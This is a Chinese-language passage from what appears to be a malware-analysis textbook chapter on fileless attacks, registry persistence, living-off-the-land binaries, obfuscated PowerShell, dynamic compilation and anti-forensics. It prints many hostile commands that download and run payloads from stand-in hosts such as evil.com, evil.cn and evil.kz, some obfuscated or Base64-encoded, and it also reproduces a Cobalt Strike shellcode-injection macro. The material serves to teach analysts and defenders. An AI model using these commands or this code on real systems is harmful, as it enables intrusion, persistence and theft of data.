快进到 12 小时后,用户启动笔记本电脑准备迎接新的一天工作。系统启动时,存储在注册表中的恶意代码开始执行。它包含一个混淆的 PowerShell 命令,从攻击者的暂存服务器下载另一个脚本。这个脚本被注入到正在运行的 PowerShell 进程中,完全没有在磁盘上留下任何文件。下载的脚本包含字节码,在内存中形成一个可执行文件,然后被注入到一个新进程(malware.exe)中。恶意软件的有效负载是一个信息窃取者变种,开始从主机中收集敏感数据。
这个攻击看起来可能过于复杂,但对于有分析无文件攻击经验的人来说,这一点也不难理解。在这个场景中,有一些有趣的技术被使用。首先,一个恶意命令被写入并存储到注册表中。无文件恶意软件有时会使用注册表来存储命令、代码或配置信息,以避免在磁盘上写入新文件。由于注册表以专有的二进制格式存储在磁盘上,并且只有在驻留在内存中时才处于人类可读状态,因此这仍然被视为一种无文件技术(有关更多内容,请参见《无文件攻击的悖论》框)。隐藏在注册表中的恶意软件有时被称为注册表驻留恶意软件(这是无文件恶意软件的一个子类别,稍后我会提到)。从注册表中执行的 PowerShell 命令还会完全在内存中下载并执行恶意代码。
第二,攻击中调用的 Windows 工具(特别是 certutil.exe 和 powershell.exe)可以被归类为 LOLBins,LOLBin 是指合法的 Windows 工具或已经在目标系统上可用的工具。这些工具通常用于系统管理和维护等常见任务,但也可以很容易地被滥用来执行未经授权的代码并隐藏恶意操作。无文件攻击通常会利用 LOLBins,其中一些可以通过恶意软件在内存中执行代码。
持久性和注册表驻留恶意软件
在刚才描述的无文件攻击场景中,恶意软件将 PowerShell 命令写入注册表,并将其设置为在下次启动时自动运行。Windows 注册表为恶意软件提供了一个安全的藏匿地点,因为在这里它不太可能被发现,至少对那些不知道具体查找什么的人来说是如此。不仅如此,反恶意软件和其他终端防护程序也可能没有配置为扫描注册表中的恶意软件。
这种技术是恶意软件试图建立 持久性 的一种方式:即在系统重启后仍然保持在受感染的主机上。恶意软件可以使用多种策略在受害系统上保持持久性,但这里我们将重点讨论注册表持久性,因为它与注册表驻留的恶意软件直接相关。
Run 和 RunOnce 是特殊的注册表键,每当用户登录系统时都会调用它们。它们可以指向可执行文件、脚本等文件类型,甚至可以接受命令行参数。它们位于以下注册表位置:
-
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
-
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
-
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
-
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run 键在每次用户登录时都会被调用。RunOnce 键只会在下次登录时调用一次。每个键都包含一个名称和一个表示要运行的命令或要执行的文件的值。
通过操作这些键,恶意软件作者可以直接从注册表执行恶意软件及其关联命令。为了演示,我向注册表键 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 添加了一个名为 Evil 的新 Run 键。图 15-2 显示了这个键,它可以通过 regedit.exe 查看和编辑。

图 15-2:向注册表中添加新的恶意 Run 键
这个键只是简单地调用 powershell.exe 并执行 pause 命令。现在,每次我登录我的计算机时,都会弹出一个 PowerShell 提示符。显然,恶意软件作者会更愿意做一些比仅在每次登录时弹出 PowerShell 提示符更恶意的事情。他们可能会执行一个更复杂的命令,比如以下内容:
powershell.exe -C "IEX(New-Object Net.WebClient).DownloadString('https://evil.com/evil.ps1')"
执行后,当系统用户登录 Windows 时,此命令会从远程 Web 服务器 (evil.com) 下载一个 PowerShell 脚本 (evil.ps1),并直接在内存中执行。我们这里不再讨论这个命令,因为本章后面会更详细地介绍 PowerShell,但请记住,恶意软件可以轻松地将命令和代码隐藏在注册表中,使用 运行 和 运行一次 键是其中一种方法。表 15-1 显示了其他非详尽的 运行 键和注册表中的持久性位置。
表 15-1: 恶意软件可能使用的注册表键来建立持久性
| 注册表项/键 | 描述 |
|---|
| HKCU<wbr>Software<wbr>Microsoft<wbr>Windows\ CurrentVersion<wbr>Policies<wbr>Explorer<wbr>RunHKLM<wbr>Software<wbr>Microsoft<wbr>Windows\
当前版本<wbr>策略<wbr>资源管理器<wbr>运行 | 这些 运行 键类似于之前提到的键。任何添加到它们的内容都会在用户登录时执行。它们在 Windows 中不会默认创建,因此必须手动添加。 |
| HKCU<wbr>Software<wbr>Microsoft<wbr>Windows NT\ CurrentVersion<wbr>WinlogonHKLM<wbr>Software<wbr>Microsoft<wbr>Windows NT\
CurrentVersion<wbr>Winlogon | 这些键包含 Windows 登录配置,包括在登录时执行的程序。这些可以被修改以运行恶意软件或恶意命令。 |
| HKLM<wbr>System<wbr>CurrentControlSet<wbr>Services | 此键包含主机上配置的服务信息。驱动程序也包含在此 HKLM<wbr>SYSTEM<wbr>CurrentControlSet\Services<wbr> |
|---|
这只是持久性机制冰山一角。这里描述的 Run 键是文件无持久性技术中最常用的一些,但还有其他的。欲了解更多信息,请访问 MITRE ATT&CK 网站 https://
利用现有资源的二进制文件
现在让我们转向恶意软件可能用来发起无文件攻击的另一种技术:LOLBin。有几个原因可能导致恶意软件调用 LOLBin:
绕过应用程序限制控制,如 AppLocker
AppLocker 是 Windows 的一种安全控制,用于防止不需要的应用程序执行。恶意软件可以通过使用系统二进制文件作为代理来绕过它。
避免被检测
EDR、反恶意软件和其他端点防御系统对 LOLBin 的审查较少,因为它们通常是数字签名的,因此由操作系统本身验证。此外,许多 LOLBin 允许恶意代码在内存中执行,这进一步增强了其规避能力。
隐藏在噪音中
由于日常系统管理员工作需要使用许多 LOLBin,因此很难开发出有效的逻辑来检测这些工具的恶意使用;它们生成的噪音可能会给分析人员带来筛选的挑战。
阻碍调查
由于许多 LOLBin 实际上允许恶意代码在内存中执行并支持无文件攻击,调查这些攻击有时比调查那些在磁盘上留下较大痕迹的攻击更困难。
LOLBin 的分类可能相当主观。一些专家认为,LOLBin 是可以被威胁行为者以意外方式滥用的合法应用程序。然而,这一定义将排除所有可以被行为者以“预期”方式滥用的应用程序(例如,调用 cmd.exe 删除文件)。我的看法更符合攻击者“利用现有资源”的本质,这意味着攻击者可以并且会利用任何可用的资源,而“预期”和“意外”的使用场景并不被考虑。在我看来,LOLBin 是任何常见的应用程序或工具,它可以被行为者滥用。让我们看看如何借助 VBA 代码和宏来实现这一点。
基于 VBA 宏的恶意软件
土地生存技巧通常始于一个含有恶意软件的文档,该文档触发了 LOLBin 的攻击链。这类文档通常(但不总是)是 Microsoft Word 或 Excel 文档,恶意代码通常以 VBA 宏的形式存在。宏最初是为了自动化文档文件中的常见用户任务而设计的,但正如你所看到的,它们也被威胁行为者用来部署额外的恶意软件。
注意
在撰写本文时,VBA 宏被滥用于恶意目的的情况已经显著减少。默认情况下,Microsoft Office 现在会阻止来自不受信任来源的文档执行宏,因此这种攻击途径变得更加难以实现。然而,攻击者可能能够绕过这些限制,或使用其他文档格式,如 Rich Text Format (RTF)和 Portable Document Format (PDF),以实现类似效果。
VBA 宏代码非常强大;它甚至可以导入 Windows DLL 并调用 WinAPI 函数。例如,攻击工具 Cobalt Strike 使用嵌入在 Microsoft Office 文档中的宏,将 shellcode 注入到正在运行的进程中,并从恶意 Web 服务器下载额外的有效载荷(称为beacon)。以下是稍作修改以便于阅读和简洁的 Cobalt Strike stager 宏代码示例:
shellcode = Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,
82,20,-117, ... ) ❶
If Len(Environ("ProgramW6432")) > 0 Then ❷
sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
Else
sProc = Environ("windir") & "\\System32\\rundll32.exe"
End If
res = CreateProcessA(..., sProc, ..., ..., ..., ..., ..., ..., ... ) ❸
rwxpage = VirtualAllocEx(pInfo.hProcess, 0, UBound(shellcode), &H1000, &H40) ❹
For offset = LBound(shellcode) To Ubound(shellcode) ❺
myByte = shellcode(offset)
res = WriteProcessMemory(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
Next offset
res = CreateRemoteThread(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0) ❻
这里有很多内容,我们逐块分析。首先,这段代码定义了一个字节数组,当它转换为十六进制格式时,实际上是恶意的 shellcode ❶。接下来,代码检查 Windows 环境是 32 位还是 64 位,并选择适当的目录(32 位架构选择 System32,64 位架构选择 SysWOW64)来调用 Windows 实用程序rundll32.exe ❷。代码调用CreateProcessA启动一个rundll32.exe实例 ❸,然后调用VirtualAllocEx在该进程内分配内存 ❹。分配的内存区域与 shellcode 数组的大小相同。
接下来,使用一个for循环,代码通过使用WriteProcessMemory ❺将每个字节的 shellcode 写入新分配的内存区域。最后,宏代码通过调用CreateRemoteThread ❻在rundll32.exe的上下文中执行注入的 shellcode。如果你还记得第十二章,你可能会发现这是一种 shellcode 注入的形式。
rundll32.exe 工具是 Windows 环境中许多 LOLBins 之一。(你很快会了解更多关于它的信息。)在这个例子中,Cobalt Strike 的加载器将 rundll32.exe 作为其恶意代码的代理,将代码隐藏在该进程中,从而潜在地规避终端防御控制和令人生厌的安全分析人员。
接下来,我们将讨论通过滥用合法的 Windows 工具,利用系统二进制代理执行技术来掩盖恶意代码的另一种技巧。
系统二进制代理执行
系统二进制代理执行 是一种通过合法(且通常经过数字签名的)Windows 工具执行代码的技术。通过签名的二进制文件代理执行的原因之一是绕过像 AppLocker 这样的应用程序阻止控制。这种攻击方式还可以帮助恶意软件避开反恶意软件等终端防御。这种技术可以滥用以下文件类型:
-
默认包含在大多数 Windows 安装中的二进制文件,因此在绝大多数受害者环境中存在。
-
Windows 默认不包含但仍然非常常见的二进制文件。例如,PSExec 是一个用于系统管理的流行工具,ProcDump 是一个用于转储目标进程内存的工具。由于这些工具可能在攻击前的受害者环境中不存在,因此在调用之前可能需要将它们传输到受害者系统中。本书中不会进一步讨论这些工具。
让我们开始看看一些最常用的 LOLBins,用于代理执行。
Rundll32
Rundll32,正如你在 Cobalt Strike 示例中看到的,是许多 Windows 应用程序用来执行 DLL 中代码的重要二进制文件。如果一个应用程序需要特定的 DLL,但并不直接加载它(例如,通过 LoadLibrary),它可以调用 rundll32.exe 并执行一个特定的导出函数,方式如下:
C:\> rundll32.exe library.dll,ExportedFunction
如你所见,rundll32 接受两个参数:DLL 文件的名称和路径(在本例中是 library.dll),以及将被执行的导出函数(ExportedFunction)。恶意软件也可以滥用 rundll32.exe 从恶意 DLL 执行代码:
C:\> rundll32.exe C:\Temp\evil.dll,EvilFunction
由于 rundll32 被 Windows 操作系统及其他各种无害进程频繁调用,它常常被用作恶意代码的代理进程。在 Cobalt Strike 的加载器示例中,它被启动并注入了 shellcode,然后用于托管和执行恶意代码。
Regsvr32
Regsvr32 是一个可执行文件,用于注册和注销 DLL 模块。恶意软件可以利用 regsvr32 在 regsvr32.exe 签名二进制文件的上下文中执行恶意代码,甚至从远程服务器下载并执行恶意代码。
Emotet 恶意软件家族以在其攻击链中使用 LOLBins 而闻名。某个特定变种的 Emotet 的有效负载(SHA256: d642109e621c6758027c2fc0e5ea3d1126963a001ab1858b95f82e09403943bd)是通过恶意的 Microsoft Excel 文档传送的,这些文档会下载多个有效负载和模块,并随后通过 regsvr32.exe 执行它们。图 15-3 是来自 Joe Sandbox 的截图,展示了这一攻击链。

图 15-3:在 Joe Sandbox 中显示的 Emotet 进程树
另一个值得注意的 regsvr32 使用示例是名为 Squiblydoo 的攻击,该攻击也利用了 Windows 脚本组件运行时 DLL scrobj.dll,该 DLL 通常用于执行本地 COM 脚本片段。通过结合 regsvr32.exe 和 scrobj.dll 的强大功能,Squiblydoo 恶意软件可以直接从互联网下载并执行恶意的 COM 脚本片段:
C:\> regsvr32.exe /s /i:http://evil.kz/script.sct C:\Windows\System32\scrobj.dll
该命令从 http://
这一技术能够实现其功能,是因为 scrobj.dll 文件中的 DllInstall 函数接受一个 URL,并盲目下载并执行脚本文件。你可以在 MITRE 网络分析库(CAR)中了解更多关于 Squiblydoo 技术的信息,网址为 https://
Mshta
Mshta 用于执行 HTML 应用程序(.hta)文件,这些脚本文件可以包含 HTML、VBScript、JavaScript 或其他类型的脚本。HTA 文件通过 HTML 提供图形用户界面,脚本代码则提供应用程序的逻辑。恶意软件通常使用 mshta.exe 从远程服务器下载并执行文件,以下是一个来自恶意微软 Excel 文件的示例:
C:\> mshta.exe https://www.mediafire.com/file/bcl9/2.htm/file
一个特定的恶意软件样本(SHA256: 03f03a3f36c87d8cb7cd5f8ce6e324917253eeca4f3ea164f35242146e26e2b1)通过 mshta.exe 调用 rundll32.exe,展示了某些攻击如何将多个 LOLBin 链接在一起。图 15-4 显示了来自 Joe Sandbox 的报告(* www.joesandbox.com/analysis/670279 *)。

图 15-4:Joe Sandbox 分析报告中显示的 LOLBin 攻击链
在此沙箱分析中,您可以看到一个 Microsoft Excel 文档启动 rundll32.exe(可能通过嵌入的 VBA 代码或类似技术),然后调用 mshta.exe 从 mediafire.net 下载并执行文件。
BITSAdmin
背景智能传输服务 (BITS) 用于将文件传输到 Web 服务器和文件共享之间。BITS 可以通过“作业”进行配置,自动管理文件传输开销,监控网络使用、延迟和文件大小,并允许暂停和恢复文件传输。BITSAdmin 应用程序,bitsadmin.exe,用于管理 BITS。
恶意软件可以滥用 BITS 从远程服务器下载并执行有效载荷。以下命令将创建一个名为 myjob 的新文件传输作业,并将其设置为高优先级,然后从 evil.uk 域下载 malicious.exe 文件,并将其保存在 C:\Users\AppData\Roaming 目录中:
C:\> bitsadmin.exe /transfer myjob /download /priority high
http://evil.uk/malicious.exe C:\Users\AppData\Roaming\malicious.exe
InstallUtil
InstallUtil 是 Windows .NET 框架的一个组件,操作系统和其他应用程序用它来安装服务器资源和服务。恶意软件也可以利用它来调用可执行文件和 DLL 文件。以下命令在 installutil.exe 的上下文中执行 evil.dll:
C:\> C:\Windows\Microsoft.NET\Framework\`version`\installutil.exe /logfile=
/LogToConsole=false /U evil.dll
主机上可能安装了多个版本的 .NET,因此此处的 version 会替换为特定版本,例如 v4.0.30319。与许多 LOLBin 一样,installutil.exe 常常被系统管理员出于合法目的使用,因此很难防止这种未经授权的使用,特别是当这意味着限制管理员的工作方式时。最好限制可以执行此工具的用户组,或者(至少)监控用户组对该工具的使用并定期审查日志。
Certutil
certutil.exe 二进制文件是 Windows 证书服务组件的一部分,可用于显示信息、验证、配置和安装数字证书。攻击者可以通过几种有趣的方式滥用它。例如,一个恶意的 Microsoft Excel 文档 (SHA256:d009299a787cf9b7995827014e72525038eecd3e1f99820d66854fc865d39047) 下载并执行了来自远程服务器的 Lokibot 有效载荷,命令如下:
C:\> certutil.exe -urlcache -split -f "http://45.155.165.63/tq/loader/uploads/Product_Details
_018_RFQ.exe" Zcldxvqciopgykje.exe
该命令调用 certutil,从 Web 服务器(45.155.165.63)下载一个可执行文件 (Zcldxvqciopgykje.exe),并执行它。
恶意软件也可以使用 certutil 来编码或解码文件,方法如下:
C:\> certutil -encode evil.dll evil_encoded.dll
-encode 开关告诉 certutil 对文件进行 Base64 编码(我们将在第十六章中讨论 Base64)。以这种方式编码文件可以作为一种粗略的方法,将文件隐藏在磁盘上,或者在从网络中导出数据时混淆数据,以绕过网络防御。Certutil 是多用途 LOLBin 的一个很好的例子。
Windows 脚本宿主
Windows 包含多个内置工具,作为 Windows 脚本宿主(WSH) 的一部分,用于运行脚本语言,如 VBScript(.vbs 和 .vbe 文件)和 JavaScript(.js 和 .jse 文件)。像 wscript.exe 和 cscript.exe 这样的工具是 WSH 的一部分。这些工具可以从命令行执行,或者作为新进程启动,用于运行各种类型的脚本文件。与用 C++ 编写可执行文件相比,脚本编写要简单得多,因此一些恶意软件利用了这一点。一个例子是,一个嵌入了代码的 Microsoft Word 文档 (SHA256: ccc8d5aa5d1a682c20b0806948bf06d1b5d11961887df70c8902d2146c6d1481) 会将一个 JavaScript 文件写入磁盘,并使用 wscript.exe 通过以下命令执行该脚本:
C:\> wscript.exe C:\Users\Public\olapappinuggerman.js
执行时,脚本会从恶意软件家族 OriginLogger 中下载一个样本。这个恶意文档是一个多阶段攻击的一部分,后续还会调用 mshta.exe。
wscript.exe 二进制文件还可以直接从 NTFS 替代数据流(ADS)中执行脚本文件,稍后在本章中会讲到。现在,只需知道恶意软件可以将文件隐藏在 ADS 中,这有效地将它们隐藏于不被窥探的视野之外,并避开某些终端防御。要执行隐藏在另一文件中的 ADS 中的脚本文件,可以使用以下命令:
C:\> wscript.exe C:\innocent.txt:evil_script.vb
脚本通常不在本书的范围内,但请注意,现代威胁通常使用像 JavaScript 和 VBScript 这样的脚本语言,这些脚本语言可以通过 Windows 内置的脚本解释器轻松执行。
Windows 命令行及其他实用工具
内置的命令提示符(cmd.exe),它是 Windows 中默认的命令行工具,广泛用于合法和恶意目的。例如,恶意软件可以利用命令行终止进程、删除文件、进行系统配置更改以及删除备份。它使用的一些命令也可以归类为 LOLBin 攻击,因为cmd.exe常常用于执行其他工具。恶意软件通常通过创建新进程(例如调用CreateProcess)并将其希望运行的命令作为参数传入来调用命令提示符。
命令提示符最常见的使用方式之一是直接执行其他文件和应用程序。下面的代码可能类似于以下内容,它调用了一个名为flashplayer.exe的可执行文件:
`--snip--`
lpCommandLine = "cmd.exe /c C:\Users\John\AppData\Local\Temp\flashplayer.exe"
CreateProcessW (..., lpCommandLine, ... )
`--snip--`
表 15-2 列出了其他一些命令和工具,它们有时会被恶意软件滥用以执行恶意操作。这个列表并不详尽,因为有许多命令可以通过cmd.exe调用。
表 15-2: 恶意软件可能使用的工具和命令
| 工具/命令 | 示例 | 描述 |
|---|---|---|
| curl | cmd.exe /c curl -o output _file https://evil.com/evil.gif | 传输数据。恶意软件可能会用它来下载附加载荷并将其写入文件,或将数据外泄到远程 Web 服务器。 |
| del | cmd.exe /c del C:\Users\David\Temp\RegScvs.exe | 删除文件。恶意软件可能会用它删除证据,如可执行文件和临时文件,从受害者的系统中。 |
| ipconfig.exe | cmd.exe /c ipconfig.exe | 显示网络配置设置。恶意软件可能会调用它来获取受害者的本地 IP 地址或其他网络信息。 |
| ping | cmd.exe /c ping 8.8.8.8 | 向远程服务器发送 Ping 请求。恶意软件可能会利用它来检查受害者是否连接到互联网(例如作为沙箱检测技术),或者与其 C2 服务器进行初步联系。 |
| sc | cmd.exe /c sc query | 启动、停止、创建、修改或查询系统中的服务,具体取决于相应的选项(例如此处显示的 query)。 |
| taskkill.exe | cmd.exe /c taskkill.exe /f /IM evil.exe | 终止进程。恶意软件可能会调用此命令来杀死其自身的进程或分析工具和终端防御。 |
| timeout.exe | cmd.exe /c timeout /t 120 nobreak>nul | 在批处理脚本中暂停执行。恶意软件可能会执行它,尝试使“愚笨”的恶意软件分析沙箱超时。 |
虽然这一部分只是简单地介绍了 Windows 命令行的表面,但这些是恶意软件滥用 Windows 操作系统各种实用工具和命令的几种方式。由于 cmd.exe 是合法的 Windows 二进制文件,其中一些操作可能会被终端防御系统和分析人员忽视,因此了解这些技术非常重要。
PowerShell
利用 PowerShell 是现代威胁中最常见的“借用土地”技术之一。PowerShell 是内建于 Windows 中的框架,合法的系统用户和恶意软件都可以使用它来执行几乎任何 Windows 管理或配置任务。PowerShell 提供了许多命令,称为 cmdlets,这些命令赋予了该框架强大的功能(玩笑的意思)。PowerShell 构建于 .NET 平台之上,为 Windows 开发人员提供了许多库来构建新应用程序。PowerShell 可以通过命令行交互式运行,但在恶意软件的上下文中,它通常通过 Windows API 执行自动化脚本或单行命令(例如使用 CreateProcess)。
实现支架
PowerShell 在恶意软件中的一个最常见应用是 启动器,它是一个命令(通常是单行命令),用于从暂存服务器下载附加的恶意软件或模块,有时还会直接执行这些文件。以下是恶意软件可能实现启动器的一种方式:
C:\> powershell.exe Invoke-WebRequest "http://evil.cn/zzl2.cab" -OutFile
"$ENV:UserProfile\crypt.dll"
让我们来分析这个 PowerShell 命令。首先,它利用了 Invoke-WebRequest cmdlet,它向远程 Web 服务器发送 HTTP 或 HTTPS 请求。这个 cmdlet 接受作为输入的 Web 服务器地址和将要下载的文件的目录路径(zzl2.cab)。最后,-OutFile 标志表示保存文件的目录路径和文件名。这个恶意的 zzl2.cab 文件将被保存在用户的个人资料目录中(由环境变量 $ENV:UserProfile 指示),文件名为 crypt.dll。由于 PowerShell 基于 .NET,它可以直接访问并利用许多 .NET 方法和类:
C:\> powershell.exe -exec bypass -C "IEX(New-Object Net.WebClient)
.DownloadString('http://www.evil.cn/bad.ps1')"
在这个命令中,-exec 标志告诉 PowerShell 绕过任何会阻止命令执行的执行策略。PowerShell 执行策略在 Windows 中配置,以防止某些 PowerShell 操作,但有时可以相当容易地绕过。IEX 是 Invoke-Expression 的缩写,它将执行前面的字符串作为命令。命令的下一部分,(New-Object Net.WebClient).DownloadString 表达式,创建了一个新的 .NET WebClient 对象,并使用 DownloadString 方法,这是恶意软件向远程 Web 服务器发送 Web 请求并下载有效负载的另一种方式。该有效负载将从 http://
这些 PowerShell 启动器的问题在于它们很容易被识别为可疑的,因此我们来看看 PowerShell 命令如何被混淆,以绕过端点防御并阻碍调查。
混淆 PowerShell
PowerShell 对语法的容忍度非常高,这意味着威胁行为者有很多空间来混淆命令、重新排列命令中的字符,甚至插入不必要的字符来混淆分析人员和检测工具。正如你将看到的,恶意软件作者有一些常见的方式来混淆 PowerShell 执行。让我们以这个命令作为起点:
C:\> powershell.exe -exec bypass -C "IEX(New-Object Net.WebClient)
.DownloadString('http://www.evil.cn/bad.ps1')"
一种简单的混淆方法是将 + 字符插入到命令中,如下所示:
C:\> powershell.exe -exec bypass -C "IEX(New-Object Net.WebClient)
.DownloadString('ht' + 'tp://'+'www.ev’+’il.cn/b’+’ad.ps1')"
字符可以是大写或小写,因此以下命令仍然是有效的 PowerShell 命令:
C:\> powershell.exe - EXeC bYpaSS -C "Iex(New-OBJect NeT.webclient)
.dOwNLOadStrINg('ht' + 'tp://'+'www.ev’+’il.cn/b’+’ad.ps1')"
然而,这样的话就有点难以阅读了。
字符也可以重新排序,如下所示:
"{2}{1}{0}" -f 'X','E','I'
括号中的数字表示字符 X、E 和 I 在重新排序后的位置,因此这些字符本质上构成了 IEX。
最后,PowerShell 允许 Base64 编码的数据,因此完全有可能发出像这样的编码命令:
C:\> powershell.exe -EncodedCommand "cG93ZXJzaGVsbC5leGUg4oCTIGV4ZWMgYnlwYXNzIOKAk0Mg4oCcSUVYKE
5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmco4oCZaHR0cDovL3d3dy5ldmlsLmNuL2JhZC5wczHig
Jkp4oCd"
我们将在第十六章中讨论 Base64 编码。目前,我们将转向恶意软件可以利用的与 PowerShell 相关的最后一个功能。
查询 WMI
正如你从前几章中可能记得的那样,Windows 管理工具 (WMI) 允许系统管理员在 Windows 中管理数据和自动化操作。在 Windows 7 及更早版本中,Windows 管理工具控制台 (WMIC) 被用来调用 WMI,但在现代版本中,这已经被弃用。现在更常见的做法是使用 PowerShell 来调用 WMI,它具有几个内置的组件 cmdlet 用于与 WMI 交互。一个例子是 Get-CimInstance,这是一个恶意软件也可以用来查询 WMI 对象的 cmdlet。为了收集系统信息,例如它是否是虚拟机或沙盒,恶意软件可以直接从 PowerShell 执行以下命令:
PS C:\> Get-CimInstance -Query "SELECT * FROM Win32_Processor"
PS C:\> Get-CimInstance -Query "SELECT * FROM Win32_BIOS"
PS C:\> Get-CimInstance -Query "SELECT * FROM Win32_DiskDrive"
这些命令查询 WMI 以获取系统的处理器、BIOS 和硬盘驱动器信息。在以下输出中,你可以从我的 BIOS 信息看到我正在运行 VirtualBox:
PS C:\> Get-CimInstance -Query "SELECT * FROM_Win32_BIOS"
**SMBIOSBIOSVersion : VirtualBox**
Manufacturer : innotek GmbH
Name : Default System BIOS
SerialNumber : 0
**Version : VBOX - 1**
`--snip--`
其他有趣的查询对象是 ThermalZoneTemperature 和 Win32_Fan,它们分别返回当前 CPU 温度和风扇转速:
PS C:\> Get-CimInstance -Query "SELECT * FROM MSAcpi_ThermalZoneTemperature"
PS C:\> Get-CimInstance -Query "SELECT * FROM Win32_Fan"
如果这些功能返回错误或没有返回任何信息,这可能意味着它们未被实现,表示主机可能是虚拟机。
WMI 是一个广泛的主题,恶意软件可能通过其他方式调用它(例如直接使用 WMI 接口,如 IwbemServices.ExecQuery),但这些超出本书的范围,不再详述。相反,我们将继续讨论另一种生存之道和无文件技术:动态编译代码。
动态编译的代码
动态编译的恶意代码 在恶意软件中的使用正在增加。传送到受害者后,该代码会在内存中编译并执行,这可能有助于攻击规避端点防御的监测。这种技术通常伴随着使用一个分发器组件。分发器可能会传送给受害者(例如,嵌入在电子邮件中),一旦在受害者系统上执行,它就会从互联网上的服务器下载恶意代码。这种恶意代码通常是加密或混淆的。一旦有效载荷成功下载到受害主机,它就会被现有编译器在受害系统上的内存中解密并编译。现代版本的 Windows 默认包括几个编译器,其中包括.NET 编译器 msbuild.exe 和 csc.exe。图 15-5 展示了这种技术在实际中的样子。

图 15-5:涉及动态编译代码的攻击
此攻击始于一个 PowerShell cradle,从远程服务器下载未编译的.NET 代码,可能使用本章前述的方法之一。然后,PowerShell 脚本调用 csc.exe 在内存中编译和执行.NET 代码。
另一个编译器是 msbuild.exe。微软构建引擎(Msbuild)是一个“用于构建 Windows 应用程序的平台”,接受项目(.proj)或基于 XML 的项目文件作为输入,编译它们,并在构建时执行。我不会详细讨论这种技术,但你可以在 Tara Gould 和 Gage Mele 的文章“威胁行为者使用 MSBuild 无文件交付 RATs”中阅读更多内容,网址为https://
这些技巧特别有趣,因为它们利用了多种防御规避方法。首先,这些攻击几乎可以完全无文件,因为下载的代码只在内存中编译和执行。其次,它们使用受害主机上已经存在的 LOLBin 和编译器,可能绕过了如 AppLocker 等防控措施。最后,当恶意代码从攻击者的服务器下载时,它是以未编译的状态进行下载的,因此网络防御可能无法将其识别为恶意代码,因为网络防御通常会寻找已编译的二进制文件。这些是恶意软件作者绕过和规避防御的众多创意方式中的更多例子。
请注意,Windows 中还有其他动态代码编译方法,例如使用 CGG/MinGW C 编译器或aspnet_compiler.exe编译 ASP.NET 代码。这些编译器可以通过 PowerShell、命令提示符,甚至通过 VBA 宏代码在 Office 文档中调用。
在本章的最后部分,我们将探讨一类规避技术,称为反取证,这类技术通常与无文件攻击一起出现。
反取证
想象一下,你是最近被指派到一起复杂的数据盗窃案件的调查员。受害组织确定事件发生在一台 Windows 服务器上,并通过将该服务器与其他网络隔离来遏制了攻击,但攻击者在此之前已经窃取了不明数量的潜在敏感数据。最奇怪的是,似乎在被入侵的服务器上没有留下任何蛛丝马迹。没有足迹可循。现场没有留下指纹或污迹。所有恶意软件的物理痕迹都已从硬盘中删除。系统已重新启动,内存中也没有可以调查的痕迹。硬盘上的某些文件甚至似乎已被加密,但没有提出赎金要求。
你可能正在见证反取证的实际应用。让我们来看看一些恶意软件作者使用的创意反取证技巧。
隐藏痕迹和代码
网络攻击无论攻击者多么技艺高超或富有创意,总会在被入侵的系统或网络上留下某些痕迹证据。知道这一点后,恶意软件可能会竭尽全力掩盖其踪迹,尽可能地移除所有取证证据。这通常涉及隐藏或删除可能揭露攻击的痕迹,防止从被感染的系统上获取信息。
恶意软件可以通过隐藏重要文件和目录(例如其可执行文件或配置文件)来模糊证据的一种粗略方式。为此,恶意软件首先会调用像 SetFileAttributes 这样的函数来处理相关文件,然后使用 Windows 原生功能将 hidden 属性应用于这些文件。这将使文件对一些系统用户不可见,但更有经验的用户和调查员将能够轻松绕过这种方法。
移除和破坏痕迹
与单纯隐藏文件不同,一些恶意软件试图完全删除或销毁证据。它可以通过多种方式删除自己的文件,例如调用 DeleteFile WinAPI 函数,或使用 PowerShell 或 Windows 命令行。 然而,根据删除的方法,经验丰富的调查员仍然可能能够恢复被删除的痕迹。为了解决这一问题,一些恶意软件已经集成了专门用于安全且不可恢复的数据销毁的工具。Unit42 的研究人员报告称,BlackCat 勒索软件背后的威胁行为者使用了 fileshredder 工具,这是一种专为不可恢复删除文件而设计的工具,用于安全地删除受害系统中的证据(请参阅 Amanda Tanner、Alex Hinchliffe 和 Doel Santos 撰写的《威胁评估:BlackCat 勒索软件》,链接见 https://
此外,由于内存是经验丰富的调查员寻找恶意软件的首选地方之一,因此恶意软件作者通常会清除其分配的内存。实现这一点的方法有很多种,例如调用 RtlZeroMemory 函数,该函数会将内存区域用零覆盖,从而有效地销毁该区域内的任何证据。一些勒索软件家族甚至会调用 RtlZeroMemory 和类似函数来将其加密密钥在内存中清零,以减少密钥恢复的可能性。
攻击者可以通过修改内存来移除或更改代码或数据,从而隐藏恶意软件的存在,而不是完全擦除内存。例如,恶意软件可以简单地从内存区域中移除 PE 魔法字节 MZ,使得一些依赖于该签名的调查工具失效。或者,它还可以将其代码或配置的部分内容隐藏在内存中,例如通过编码或加密命令和控制地址等字符串。我们将在第十六章中讨论代码和数据混淆与加密,但许多适用于该章节的技术也可以作为反取证措施。
滥用替代数据流
隐藏文件的另一种方法是使用 NTFS 替代数据流(ADS)。在 Microsoft NTFS 文件系统中,文件中包含的数据通常位于主数据流中。例如,如果你在文本编辑器中打开一个文本文件,显示的数据就是主数据流的一部分。但数据也可以隐藏在 ADS 中,在这种情况下,当调查人员检查文件时,数据并不容易显现。
说明 NTFS ADS 最好的方式是通过一个示例。你可以自己尝试一下。首先,创建一个包含虚拟文本的文本文件,并将文件保存为 file.txt。要在该文件中隐藏数据,请运行以下命令:
C:\> **echo hidden text > file.txt:supersecret**
这个命令将文本 hidden text 保存在 NTFS ADS supersecret 中。运行此命令后,如果你在文本编辑器中打开 file.txt,你将看不到隐藏的文本。为了证明隐藏文本依然存在,运行以下命令打印出文本文件中包含的主数据:
C:\> **more < file.txt**
然后,像这样打印出 supersecret ADS 中的文本:
C:\> **more < file.txt:supersecret**
第二个命令的输出应该是 ADS 中包含的数据。更实际地说,恶意软件可以通过类似的方式将代码或文件(如可执行文件)隐藏在 ADS 中。例如,以下命令将恶意可执行文件 evil.exe 写入文件 invoice.doc 的数据流 evil 中:
